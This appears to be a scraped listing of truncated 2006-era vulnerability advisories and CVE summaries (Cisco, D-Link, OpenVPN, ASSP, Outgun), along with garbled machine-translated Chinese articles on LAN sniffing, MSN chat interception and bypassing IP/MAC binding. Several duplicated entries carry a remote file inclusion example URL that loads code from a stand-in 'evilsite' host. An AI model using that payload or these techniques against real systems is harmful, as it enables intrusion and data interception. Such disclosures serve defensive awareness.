CVE-2006-4773: Undefined Security Weakness

Sun StorEdge 6130 Array Controllers with firmware 06.12.10.11 and earlier allow remote attackers to cause a denial of service controller reboot via a flood of traffic on the LAN...

assp.txt

Anti-Spam SMTP Proxy ASSP "get?file" Traversal Vulnerability Release Date: August 15, 2006 Notice: This is a known flaw, and has been since the implementation of an enhanced web interface for ASSP, since at least 2003. I do not normally test for security vulnerabilities or address them directly,...

Hacking techniques: local area network sniffing and monitoring-vulnerability warning-the black bar safety net

A. Who peek at my blog Inspector small Jie grew up with the habit of writing diary, after graduation on the job did not change, regardless of work how busy tired, every night near bedtime she will always put today's happenings into the recording diary, for example some problems at work, mood, ide...

D-Link Router UPNP Stack Overflow

D-Link Router UPNP Stack Overflow Release Date: July 13, 2006 Date Reported: February 27, 2006 Patch Development Time In Days: 136 Severity: High Remote Code Execution Vendor: D-Link Routers Affected: DI-524 Rev A DI-524 Rev C DI-524 Rev D DI-604 Rev E DI-624 Rev C DI-624 Rev D DI-784 Rev A...

MSN Messnger chat history intercepted and the encryption-vulnerability warning-the black bar safety net

MSN Messenger is the Microsoft Corp launched instant messaging software. MSN Messenger with its excellent performance and easy operation, it has been among the of currently the world's most widely used IM softwareinstant messaging software, in domestic also has many users, is the only one can and...

IP and MAC bundle cracked-vulnerability warning-the black bar safety net

The principle is as follows: MAC and IP bundling is on the server, then we think the scope of what should be? Of course, also only on the server on the client, but if I modify the Client IP, get on the server? If you have already thought about this, and that it has been the theory of the cracked...

Counter network law enforcement officer-vulnerability and early warning-the black bar safety net

As the management software the“network law enforcement officer”has been popular for a period of time, for suffer the side dishes are sure to he very hated, today we order the NMS and the managed identity to talk about the software of the law enforcement process, a breakthrough process. First we...

[Full-disclosure] Multiple vulnerabilities in Outgun 1.0.3 bot 2

Luigi Auriemma Application: Outgun http://koti.mbnet.fi/outgun/ Versions: = 1.0.3 bot 2 Platforms: Windows, nix, BSD and more Bugs: A datafilerequest buffer-overflow B exception with big data C invalid memory access in messages handling D harmless buffer-overflow on a global variable in...

openvpn207.txt

Hi, There is a flaw well more a stupid design than anything else in OpenVPN 2.0.7 and below in the the Remote Management Interface that allows an attacker to gain complete control because there is NO AUTHENTICATION YES NO AUTHENTICATION AT ALL!. This can be carried out from within the LAN that th...

CVE-2006-1961: Undefined Security Weakness

Cisco CiscoWorks Wireless LAN Solution Engine WLSE and WLSE Express before 2.13, Hosting Solution Engine HSE and User Registration Tool URT before 20060419, and all versions of Ethernet Subscriber Solution Engine ESSE and CiscoWorks2000 Service Management Solution SMS allow local users to gain...

CVE-2006-1960: Undefined Security Weakness

Cross-site scripting XSS vulnerability in the appliance web user interface in Cisco CiscoWorks Wireless LAN Solution Engine WLSE and WLSE Express before 2.13 allows remote attackers to inject arbitrary web script or HTML, possibly via the displayMsg parameter to archiveApplyDisplay.jsp, aka bug I...

Re: Multiple vulnerabilities in Linux based Cisco products

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is Cisco PSIRT's response to the privilege escalation vulnerability independently announced by Adam Pointon of Assurance.com.au and Mathieu Pepin of Axen Consulting. We would like to thank both Adam and Mathieu for bringing this issue to our...

Multiple CiscoWorks Wireless LAN LAN Solution Engine / Cisco User Registration Tool / Cisco Hosting Solution Engine security vulnerabilities

Crossite scripting, command line escape...

Autonomous LAN party File iNclusion

Autonomous LAN party File iNclusion -------------------------------------------- Site:http://www.nerdclub.net/alp/ Demo:http://www.redfiles.net/cup/credits.php -------------------------------------------- Example: http://victim.com/path/include/SQuery/gameSpy2.php?libpath=http://evilsite...

CVE-2006-1688: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in SQuery 4.5 and earlier, as used in products such as Autonomous LAN party ALP, allow remote attackers to execute arbitrary PHP code via a URL in the libpath parameter to scripts in the lib directory including 1 ase.php, 2 devi.php, 3 doom3.php,...

autonomous lan party 0.98.1.0 - Remote File Inclusion

Autonomous LAN party File iNclusion -------------------------------------------- Site:http://www.nerdclub.net/alp/ Demo:http://www.redfiles.net/cup/credits.php -------------------------------------------- Example: http://victim.com/path/include/SQuery/gameSpy2.php?libpath=http://evilsite...

Autonomous LAN party File iNclusion

Autonomous LAN party File iNclusion -------------------------------------------- Site:http://www.nerdclub.net/alp/ Demo:http://www.redfiles.net/cup/credits.php -------------------------------------------- Example: http://victim.com/path/include/SQuery/gameSpy2.php?libpath=http://evilsite...

autonomous lan party 0.98.1.0 - Remote File Inclusion

autonomous lan party 0.98.1.0 - Remote File Inclusion Autonomous LAN party File iNclusion -------------------------------------------- Site:http://www.nerdclub.net/alp/ Demo:http://www.redfiles.net/cup/credits.php -------------------------------------------- Example:...

CVE-2006-1671

Control cards for Cisco Optical Networking System ONS 15000 series nodes before 20060405 allow remote attackers to cause a denial of service card reset via 1 a "crafted" IP packet to a device with secure mode EMS-to-network-element access, aka bug ID CSCsc51390; 2 a "crafted" IP packet to a devic...

CVE-2006-1671

Control cards for Cisco Optical Networking System ONS 15000 series nodes before 20060405 allow remote attackers to cause a denial of service card reset via 1 a "crafted" IP packet to a device with secure mode EMS-to-network-element access, aka bug ID CSCsc51390; 2 a "crafted" IP packet to a devic...